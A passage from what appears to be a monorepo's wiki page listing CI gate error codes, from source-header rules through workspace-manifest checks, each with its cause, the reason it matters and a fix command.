X_SOURCE_HEADER_MISSING a shipped source file opens with no header comment the file states no single responsibility, so the next reader has to infer what it owns from its body add a 1–4 line header comment to the file the cause names, stating its single responsibility
X_SOURCE_HEADER_OUT_OF_CONTRACT a shipped source file's leading header is outside the 1–4 line responsibility contract the first paragraph is empty, carries no prose, or runs past four lines — the responsibility is buried or absent rewrite the leading header of the file the cause names as 1–4 lines of prose stating its single responsibility
X_SOURCE_HEADER_PIN_STALE a source-header pin is above the number of violations the tree now holds the file was repaired and the pin was not lowered, so the slack would let a new violation in delete or lower the row for the file the cause names in scripts/lib/source-header-pins.ts, then bun run scripts/source-headers.ts --json
X_SOURCE_HEADER_UNSCANNED the source-header guard read no shipped source file the corpus glob matched nothing, so every file reported zero and the rule enforced nothing edit PATTERNS in scripts/lib/corpus.ts so it matches this repo layout, then bun run scripts/source-headers.ts --json
X_SPAWN_TIMED_OUT a command a gate script ran did not finish within its deadline and was killed run() in scripts/lib/run.ts races the whole call, the child's pipes included, against timeoutMs (default DEFAULT_RUN_TIMEOUT_MS, 2 minutes). Either the command hung, or it exited and left a process holding its output open — git's background maintenance, a pager, a credential helper — and a reader waiting for EOF waits as long as that process lives. Reported in the run's result (timedOut: true), never thrown: the caller decides what an unanswered command means run(command, { cwd, timeoutMs: LONG_RUN_TIMEOUT_MS }) in the calling script, when the command legitimately runs longer; when it hung, ps -eo pid,ppid,etime,args shows what still holds its output
X_SPAWN_TIMEOUT_PIN_STALE a package is pinned above the number of untimed spawns it still has the pin outlived the repair, so it would let that many back in bun run scripts/spawn-timeout.ts --unpin <package> — it only lowers
X_SPAWN_TIMEOUT_PIN_UNEXPLAINED a package's untimed-spawn pin has a blank reason a count with no sentence names nobody who ends the child; the count is not honoured, so the sites are reported behind it write who ends each child in scripts/lib/spawn-timeout-pins.ts, or add a timeout to each and run bun run scripts/spawn-timeout.ts --unpin <package>
X_SPAWN_UNTIMED a package spawns more child processes with no timeout than it is pinned at a Bun.spawnSync/spawnSync/execSync anywhere, or a Bun.spawn in shipped source, carries no timeout and no abort signal. A child that hangs hangs whatever waits on it, and a synchronous wait cannot be interrupted even by a test's own timeout — the gate sat on one bun run scripts/spawn-timeout.ts --explain --json — it lists the sites; add a timeout to each call's options, or raise the package in scripts/lib/spawn-timeout-pins.ts with a why: naming who ends the child
X_SQL_EXPORT_UNREAD a package entry exports a SQL_* statement nothing outside the package reads a statement's exact text becomes public API kept for nobody, and every edit to it is a breaking change bun run sql-export-readers --json # after deleting the export; the module that runs it keeps its own
X_SQL_EXPORT_UNSCANNED the SQL-export rule read no package entry file every SQL_* export would read as used bun install && bun run sql-export-readers --json
X_SQL_LITERAL_COPY a module other than packages/db/src/sql.ts turns ' into '' itself three copies of the SQL string-literal escape shipped and two were wrong the same way — they doubled the quote and stopped. Doubling is only an escape while standard_conforming_strings is on; that GUC is settable per session, per database and per role, SET needs no privilege, and with it off a backslash escapes the character after it. Measured on 18.4: 'dd' ~ '^\d+$' is FALSE with it on and TRUE with it off, and .default('C:\logs') stores C:logs. So a CHECK enforced a pattern nobody wrote and a column defaulted to a value nobody wrote, with no error at generation or at apply. Matched on the transformation, never a name: the three copies were called literal, literalText and an unnamed inline splice bun run sql-literal-copies --json — import { literal } from '@ultimat3/db' and take .text where a plain string is wanted; it emits E'…' only when the value carries a backslash, so every statement already on disk is byte-identical
X_SQL_LITERAL_UNSCANNED the rule read nothing, so no copy of the escape was checked packages/db/src/sql.ts was not among the scanned files — moved, renamed, or the scan pointed at the wrong tree. Reported as a blind rule rather than as a clean answer, because "one module builds a SQL string literal" is what a correct tree says too restore the file, or update OWNER in scripts/sql-literal-copies.ts if literal() moved — then bun run sql-literal-copies
X_TEMPLATE_CODEMOD_MISSING a scaffold-owned template changed with no codemod a template an app keeps changed since the last release tag, and no codemod or written reason in scripts/template-codemods-rows.ts answers for it write packages/cli/src/codemods/<id>.ts and its row, then bun test ./scripts/template-codemods.test.ts
X_TEST_BARE_ERROR a test reports its own verdict by throwing a bare Error CLAUDE.md says never throw a bare Error and checkErrorFixes skips test files, so in tests the rule was prose — 422 sites accumulated under a green gate, up from 295 when the issue was opened. A ratchet per package: the count may fall and may never rise. A new Error handed to the code under test is input, not a verdict, and is never reported replace the throw the finding names with expect.unreachable('<what was expected>') — its never return also narrows the variable, so the cast below it goes away
X_TEST_BARE_ERROR_PIN_STALE a package is pinned above the number of bare-Error throws it actually has tests were repaired and the pin was not lowered, so the ratchet holds slack a new throw would spend for free bun run scripts/test-bare-error.ts --unpin <pkg> — it only lowers, never raises
X_TEST_BARE_ERROR_UNSCANNED no test file was read, so every package reported zero a glob that matches nothing makes the ratchet enforce nothing and reads exactly like a clean tree — which is why it is a finding rather than a pass edit TEST_GLOBS in scripts/test-fix-citations.ts so it matches this repo's test layout; that one glob list feeds this scanner too
X_TEST_BUS_UNCONFIRMED a live test publishes on a fanout bus with no awaited subscription confirmation before it a NATS or Redis subscription the server has not read yet loses the publish, and a reconnect or relay step cancels an earlier confirmation; a // bus-order: <why> comment excuses a site that means it const held = await subscribed({ subscriber, publisher, subject, handler }) from packages/realtime/src/bus-subscribed-fixture.ts, before the publish
X_TEST_BUS_UNCONFIRMED_PIN_STALE a package is pinned at more unconfirmed bus publishes than the tree holds a pin above the tree would let that many back in bun run scripts/bus-subscribed.ts --unpin <pkg>
X_TEST_BUS_UNCONFIRMED_UNSCANNED the bus-order rule read no live test a glob matching nothing reads exactly like a clean tree edit TEST_GLOBS in scripts/test-fix-citations.ts so it matches the repo's test layout
X_TEST_DISCOVERY_UNSCANNED the discovery walk read zero files, so no test-shaped file was checked a blind rule never reads as a clean tree: a walk that matched nothing answers exactly what a clean scan of the whole tree answers — X_INDEX_ORDER_UNSCANNED's zero-file condition, on the walk rather than a glob bun run test-discovery from the repo root; check the walk in scripts/test-discovery.ts
X_TEST_DISCOVERY_UNSEEN the tree holds a test file the gate's test discovery cannot yield, or one outside the one convention the gate's unit, contract and job steps select files through discoverTests() — TEST_GLOB = '**/*.test.{ts,tsx}', packages/cli/src/test-select.ts:28 — while bun's own root bun test discovery is wider, so a file the glob does not match is a test no gate step ever runs. Refused shapes, each with its own ground: a basename holding .spec., _spec. or _test. — bun's root bun test runs *_test.* too, and TEST_GLOB matches none of them — or ending .test.js or .test.jsx; a path under a __tests__/ directory whose basename the glob matches — TEST_GLOB DOES match __tests__/*.test.ts, and packages/cli/src/test-ignores.ts ignores no __tests__, so the gate runs that file too; it is refused because a test file lives beside its source, never in a __tests__/ directory bun run test-discovery — then git mv /.test.ts`, beside its source, under the one convention
X_TEST_FIX_PIN_STALE a package is pinned above the number of unrunnable test fix: lines it has the ratchet may only fall, and a pin nobody lowers is one nobody reads bun run scripts/test-fix-citations.ts --unpin <pkg>
X_TEST_FIX_UNRUNNABLE a fix: a test writes or asserts cites a command this build cannot run checkErrorFixes reads src/ and skips tests, so a fixture error, a helper that builds one and an assertion pinning a fix string were all unchecked — and this repo has shipped a fix: naming a command that does not exist more than once (x schema show, x logs tail). A test is where the next one is copied from. Per-package ratchet. A command inside a comment or inside another string is not a citation — that is how error-contract.test.ts writes seven fixtures on purpose rewrite the fix the finding names as an invocation this build ships; x help --json lists every command, subcommand and flag
X_TEST_FIX_UNSCANNED no test file matched, so the rule reported over a file set it never read the globs stopped matching the layout. A rule with no input is a false green, not a pass edit TEST_GLOBS in scripts/test-fix-citations.ts so it matches this repo's test layout
X_TEST_LAUNCH_DEADLINE a test awaits a browser launch under a literal timeout or Bun's 5 s default a cold Chrome (Windows above all) outlives a fixed test timeout while its own launch deadline is still running, so the test dies with no cause test(name, fn, launchTestMs(launchTimeoutMs)) or LAUNCH_TEST_MS from @ultimat3/scraping/cdp, and launchReady() for the page target
X_TEST_LAUNCH_DEADLINE_PIN_STALE a package is pinned at more launch-deadline sites than the tree holds a pin above the tree would let that many back in bun run scripts/launch-deadline.ts --unpin <pkg>
X_TEST_LAUNCH_DEADLINE_UNSCANNED the launch-deadline rule read no test file a glob matching nothing reads exactly like a clean tree edit TEST_GLOBS in scripts/test-fix-citations.ts so it matches the repo's test layout
X_TEST_MOCK_BUILTIN a test replaces a node builtin with mock.module Bun's module mock is process-global and outlives the file, so under the flaky job and --randomize the next file in the process reads the fake spyOn(fsLike, 'readFile').mockResolvedValue(text) — inject the dependency the code under test calls and spy on it; never mock.module a builtin
X_TEST_MOCK_BUILTIN_PIN_STALE a builtin-mock pin is above the tree a package is pinned above its count of builtin mocks, so the pin would let the difference back in bun run scripts/test-mock-builtin.ts --unpin <pkg>
X_TEST_MOCK_BUILTIN_UNSCANNED the builtin-mock guard read no test file no test file was read, so every package reports zero and the ratchet enforces nothing bun run scripts/test-mock-builtin.ts --explain --json
X_TEST_PORT_PROBED a test probes a free port and binds it later a port bound as 0, released and its number handed on is a race: another process takes it before the real bind (EADDRINUSE under load) bindFreePorts((ports) => boot(ports)) — @ultimat3/testing: bind inside the callback, retried on a clash with fresh ports
X_TEST_PORT_PROBE_PIN_STALE a port-probe pin is above the tree a package is pinned above its count of probed ports, so the pin would let the difference back in bun run scripts/port-probe.ts --unpin <pkg>
X_TEST_REAL_SLEEP a test waits for the wall clock — Bun.sleep(n), setTimeout(…, n > 1), setInterval — with no // real-clock: reason every run of the suite pays the wait, and a loaded runner turns "long enough" into a race; @ultimat3/testing says "No wall clock" and in tests it was prose — 355 sites under a green gate. A ratchet per package (scripts/lib/test-real-sleep-pins.ts): the count may fall and may never rise. An event-loop turn (setTimeout(…, 0), setImmediate) is not a wait move time instead: jest.useFakeTimers() + jest.advanceTimersByTime(ms) for the timers the subject arms, advanceClock / the clock fixture for Date.now(), or await the event; another process's time only with // real-clock: <why> on the line or the line above
X_TEST_REAL_SLEEP_PIN_STALE a package is pinned at more wall-clock test waits than the tree holds a pin above the tree would let that many back in bun run scripts/test-real-sleep.ts --unpin <pkg>
X_TEST_REAL_SLEEP_UNSCANNED the real-sleep rule read no test file a glob matching nothing reads exactly like a clean tree edit TEST_GLOBS in scripts/test-fix-citations.ts so it matches the repo's test layout
X_TEST_SLOW_REASON_STALE a test file states a // slow: reason and measures under half the budget the file got faster and the reason stayed, so it could grow back past the budget unseen edit the file at the line the finding names — delete the // slow: line
X_TEST_SLOW_UNSCANNED the slow-test rule read no weight scripts/lib/ci/test-weights.json is missing, not JSON, malformed or empty, which reads exactly like a tree where no test is slow gh run download <run-id> -p 'verify-part-unit-*' -p 'test-timings-*' -D .x/ci-run/<run-id> && bun run scripts/test-weights.ts .x/ci-run/<run-id> — <run-id> a green run on main
X_TEST_SLOW_UNSTATED a test file measured over the 20 s budget states no // slow: reason in its header its weight in scripts/lib/ci/test-weights.json grew past SLOW_TEST_BUDGET_MS, and one file past its share of a shard sets CI wall time alone edit the file at the line the finding names — add // slow: <why the time is the work the assertion needs> to the header comment, or split it per shape or stub the work no assertion reads
X_TEST_TEMP_TREE_PIN_STALE a temp-tree pin is above the tree a package is pinned above its count of unowned temp trees, so the pin would let the difference back in bun run scripts/temp-tree.ts --unpin <pkg>
X_TEST_TEMP_TREE_UNOWNED a test makes a temp tree no owner removes safely a bare mkdtemp in a file that spawns git (background maintenance writes under it while it is removed), or a mkdtemp inside the checkout that git does not ignore tempTree('<prefix>') — @ultimat3/testing: owns git env, tracked children and removal; { inPackage: true } puts it under /.x/fixtures/
X_TEST_THROW_NOT_THROWN expect(fn).toThrow(…) is given a callback that returns an error instead of throwing one bun's synchronous toThrow passes on a returned Error — expect(() => new Boom('x')).toThrow(Boom) is green, in the bare, class and string-matcher forms alike — so the assertion cannot fail. This repo exports 196 functions that return an error beside a matching set that throws, and expect(() => sendFailed(…)) is the shape. A returned non-error is reported correctly by bun, and rejects.toThrow is unaffected. Only certain shapes are reported: an error construction, or a call to a function this repo declares as returning one wrap it in a throw at the site the finding names — expect(() => { throw <expr>; }).toThrow(…) — or assert the value directly with expect(<expr>).toBeInstanceOf(…)
X_TEST_TYPECHECK_PIN_STALE a pin in the test-typecheck ratchet is above what remains, or names a directory that is not a package errors were fixed and the pin was not lowered; or a package was renamed and its pin outlived it, excusing nothing and hiding that nobody is checking it bun run scripts/test-typecheck-gate.ts --unpin <pkg>[,<pkg>] — the fix carries the exact line
X_TEST_TYPECHECK_REGRESSED a package's own tests carry more tsc errors than the ratchet pins every package tsconfig.json excludes src/**/*.test.ts, so bun run typecheck reads none of them and the gate was green over all 984 of them (find packages -path '*/src/*' -name '*.test.ts*' -not -path '*/dist/*' | wc -l, As of 2026-08). tsconfig.tests.json is the program that compiles them, noEmit. The count may only fall fix the diagnostic the finding names — bun run scripts/test-typecheck-gate.ts --json prints every one — or raise that package's entry in scripts/lib/test-typecheck-pins.ts deliberately, which is a decision and not a default
X_TEST_TYPECHECK_UNSCANNED the test program did not compile, so the rule reported over tests it never read no package directory was found, or the compiler would not start. tsc reports no semantic diagnostics at all once a program holds a syntax error, so reading that as "nothing wrong" would go green over every package at once bun install, then bun run scripts/test-typecheck-gate.ts --json — the compiler is this repo's own node_modules/.bin/tsc and the program is tsconfig.tests.json
X_TEST_VANISHED a test case vanished from a directory whose code did not change a changed test file no longer holds a test/it title the base held in that directory, no other test file there holds it, and no source file of the directory changed: a split or rewrite dropped the case git diff --stat origin/main -- <the directory> — then restore the case in a test file of that directory, or delete the code it tested in the same change
X_TIER_FLOOR_STALE FLOOR_ABOVE keeps a row for a package that is at its floor, or names no package at all a reason for a position the package no longer holds reads as a rule still in force delete the <pkg> row from FLOOR_ABOVE in scripts/lib/tiers.ts
X_TIER_FLOOR_UNDECLARED a package sits above the lowest tier its own imports allow, with no written reason boundaries.ts enforced the ceiling only, while tiers.ts claimed a floor rule — "checked by this file's own rule, not by opinion" — that did not exist. Five packages sit above their floor and each now carries the sentence that earns it: what moving it down would LEGALISE. pwa at its floor of 2 would make render → pwa an ordinary downward import and delete a build error both packages rely on write the <pkg> row in FLOOR_ABOVE in scripts/lib/tiers.ts saying what moving it would legalise, or move it
X_TRAILING_SLASH_REGEX shipped source trims a trailing slash run with the quadratic regex a /\/+$/ (or \/*$, [/]+$, \/{1,}$, or the same run as the last alternative of a regex) retries the run from every slash in it: a + 100k slashes + a costs 8.5 s on Bun, and the value is often caller input (CodeQL js/polynomial-redos). trimTrailingSlashes is the one linear trim call trimTrailingSlashes(value) — from @ultimat3/core in a package, from packages/core/src/trailing-slashes.ts in a script; a leading trim stays .replace(/^\/+/, ''). bun run trailing-slash-regex --json lists every site
X_TRUST_2FA_REQUIRED npm refused the trust change on the credential's class a granular access token that bypasses two-factor auth — attaching a publisher is an account-level trust change, so npm requires a session that carries 2FA, and no OTP flag rescues a bypass token npm login, then bun run scripts/trust-publishers.ts
X_TRUST_ENVIRONMENT_EMPTY --environment was given as an empty string an empty value attaches a publisher npm honours from any environment, which disables the required reviewer and the v* tag rule the npm-publish environment carries — and because the check compared '' to '', the same argument that turned the gate off also made it report configured bun run scripts/trust-publishers.ts --environment npm-publish
X_TRUST_NPM_TOO_OLD the npm on PATH has no trust subcommand npm trust shipped in npm 12; Node 22 and Bun both bundle older npm install -g npm@12
X_TRUST_PUBLISHER_FAILED attaching a trusted publisher failed npm rejected the call for a reason other than auth — most often E409, a stale config from an earlier attempt that must be revoked before it can be replaced the fix names the package; revoke the old one (npm trust list <pkg> --json, then npm trust revoke <pkg> --id <id>) and re-run bun run scripts/trust-publishers.ts
X_TRUST_PUBLISHER_MISSING a published package has no OIDC trusted publisher a package added after the trust rollout, or a config revoked on npmjs.com — release day then falls back to token auth, which this repo has no token for bun run scripts/trust-publishers.ts
X_TSCONFIG_PATHS_UNSCANNED no package subpath export was read, so the paths rows were checked against nothing the check ran outside the repo root, or the packages/*/package.json glob matches nothing bun run scripts/tsconfig-paths.ts --json from the repo root
X_TSCONFIG_PATH_MISSING a package exports a TypeScript subpath with no row in tsconfig.base.json paths an app resolves the subpath through its workspace symlink and the package's exports; the repo root resolves through paths alone, where @ultimat3/* maps @ultimat3/jobs/adapter to a directory that does not exist — nine ./adapter subpaths landed in v31 and scripts/ answered TS2307 bun run scripts/tsconfig-paths.ts --json prints the row to add to compilerOptions.paths in tsconfig.base.json
X_TSCONFIG_PATH_STALE a tsconfig.base.json paths row names a subpath no package exports, or a file other than the one it exports the export was renamed, moved or deleted and the row outlived it bun run scripts/tsconfig-paths.ts --json names the row to correct or delete in tsconfig.base.json
X_UPGRADE_FIXTURE_HAND_STEP the upgrade left a file to a human a codemod skipped, a guard stayed vendored, a doctor warning remained: the cause lists the paths bun run scripts/upgrade-fixtures.ts --versions <V> --keep --json
X_UPGRADE_FIXTURE_RED a past release's fixture is red after x upgrade the upgrade refused, printed no document, or its gate or a standalone verify is red bun run scripts/upgrade-fixtures.ts --versions <V> --keep --json
X_UPGRADE_FIXTURE_UNBUILT a past release's upgrade fixture never reached its hop packing, scaffolding at that version or its setup failed bun run scripts/upgrade-fixtures.ts --versions <V> --keep --json
X_URL_PATHNAME_AS_PATH a source reads .pathname off a URL built from import.meta.url (or destructures it, or builds a file:// URL from a string) and uses it as a filesystem path new URL('..', import.meta.url).pathname percent-encodes a space (%20) and answers /C:/… on Windows, so the path names nothing Bun.fileURLToPath(new URL('<specifier>', import.meta.url)), or join(import.meta.dir, '<segment>')
X_VERIFY_PART_UNNAMED bun run scripts/verify-parts.ts found a gate-part document that names no run attempt, or none at all, in the verify job's download a part written as <part>.json cannot be told from an earlier attempt's copy of the same part, so a re-run would merge the red document it replaced write each part as "$parts/${PART}.attempt-${GITHUB_RUN_ATTEMPT}.json" in .github/workflows/ci.yml, uploaded as verify-part-<part>-attempt-<n>
X_VERSION_LOCKSTEP_BROKEN the publishable workspaces do not all carry one version a release bumped some manifests and not others — the state nine untagged releases already reached once. Versioning is lockstep even though publication is not bun run scripts/version-stamps.ts --json lists each workspace and its version; scripts/release.ts rewrites them together
X_VERSION_STAMP_DUPLICATE more than one page carries a version stamp a second page restated a fact one page owns, so the two can disagree. The wiki footer renders on every page, which is why it is the one that says it delete the stamp the finding names, keeping its As of date
X_VERSION_STAMP_PIN_STALE a page is pinned as naming a version for a reason that is not a stamp, and the page no longer says it the pin outlived its sentence, so it now excuses whatever lands there next — PUBLISHING.md's git tag v1.1.0 shell line is the shape the pin exists for bun run scripts/version-stamps.ts --unpin <path>
X_VERSION_STAMP_STALE a page stamps a version that is not the version this tree carries a release bumped the workspaces and left the stamp behind. Exactly one page states the version; the rest carry the date alone bun run scripts/version-stamps.ts --json names the file, the stamp and the version to write
X_VERSION_STAMP_UNSCANNED no workspace manifest carried a version, so there was nothing to compare against the check ran outside the repo, or packages/*/package.json matched nothing bun run scripts/version-stamps.ts --json from the repo root
X_VOCABULARY_REDECLARED a closed set of string literals is declared a second time RENDER_MODES / OFFLINE_STRATEGIES / HYDRATE_STRATEGIES and the four other vocabularies are declared once. Matched on the literal SET, never the name — the copy that did the damage was called PwaRenderMode. This refusal carried NO code at all until 2026-09-06: scripts/render-modes.ts declared a local Finding without one bun run render-modes --json — delete the second declaration and import the vocabulary from the module that owns it
X_VOCABULARY_UNSCANNED the vocabulary rule read nothing, or the owning module declares nothing it can read a scanner that walked no file reports "no copies", which is what a clean repo reports bun run render-modes from the repo root; if the owning module was refactored, point VOCABULARY_MODULE at the file that declares the set
X_WIKI_ANCHOR_DEAD a Page#anchor link lands on no heading, or on a page that does not exist a heading renamed under a cross-link sends the reader to the top of the page bun run scripts/wiki-anchors.ts --json # then edit the link at the line it names to the slug it suggests
X_WIKI_ANCHOR_UNSCANNED no wiki anchor link was read a clean run over nothing proves nothing bun run scripts/wiki-anchors.ts --json
X_WIKI_EXAMPLE_PIN_STALE a page's wiki-fence pin is above what fails on it now the slack would admit the next broken example unseen bun run scripts/wiki-fences.ts --pin # lowers each page's pin to what fails now
X_WIKI_EXAMPLE_UNCOMPILED a fenced ts/tsx example on a wiki page does not typecheck, beyond its page's pin a wiki example is the code an agent pastes; one that no longer compiles teaches a call this build refuses bun run scripts/wiki-fences.ts --json # then fix the fence it names, or pin the page in scripts/wiki-fences-backlog.ts on purpose
X_WIKI_EXAMPLE_UNSCANNED no wiki fence was read, or tsc refused to run a clean run over nothing proves nothing bun run scripts/wiki-fences.ts --json
X_WIKI_TABLE_MALFORMED a markdown table in wiki/ does not render as a table a row whose cell count differs from its header, a delimiter row of the wrong width, or a header with no delimiter under it. GFM drops the extra cells silently on the published page, so the wiki renders wrong and nothing says so. An escaped pipe is content, not a delimiter — 36 rows across 16 pages rely on that bun run scripts/wiki-tables.ts --json — the fix names the file, the line and the cell count the row must have
X_WIKI_TABLE_UNSCANNED no wiki table was read a clean run over nothing proves nothing bun run scripts/wiki-tables.ts --json
X_WORKSPACE_MANIFEST_UNREADABLE a package.json the workspace glob matched cannot be read as a workspace manifest it vanished between the glob and the read, or it parses into something whose name/version are not strings — and every release tool in scripts/ enumerates the workspaces through this one module, so an unreadable manifest silently shrinks the set each of them acts on bun -e "console.log(await Bun.file('<path>').json())" prints the parse error; repair the file until it is a JSON object whose name and version are strings, then bun run workspaces:list

Clone this wiki locally